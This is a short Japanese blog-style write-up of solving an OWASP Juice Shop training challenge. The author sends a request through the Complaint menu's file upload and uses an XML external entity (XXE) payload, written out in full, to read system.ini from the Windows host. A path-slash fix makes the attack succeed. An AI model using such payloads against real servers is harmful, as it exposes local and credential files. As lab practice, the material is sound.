Hello there, ('ω')ノ
サーバからsystem.iniかpasswdのコンテンツを取得しなさいと。
Complaintメニューから。
PDFファイルをアップロードして。
リクエストをリピータへ。
Juice Shopは、Windowsに構築しているので。
下記のようなXMLをリクエストしたのですが。
なかなかうまくいかず。
簡単な問題に1,2時間悩んだ末、ファイルの指定に問題があって。
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:\Windows\system.ini">
]>
<r>&sp;</r>
下記のように変更すると。
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/Windows/system.ini">
]>
<r>&sp;</r>
クリアできた。
Best regards, (^^ゞ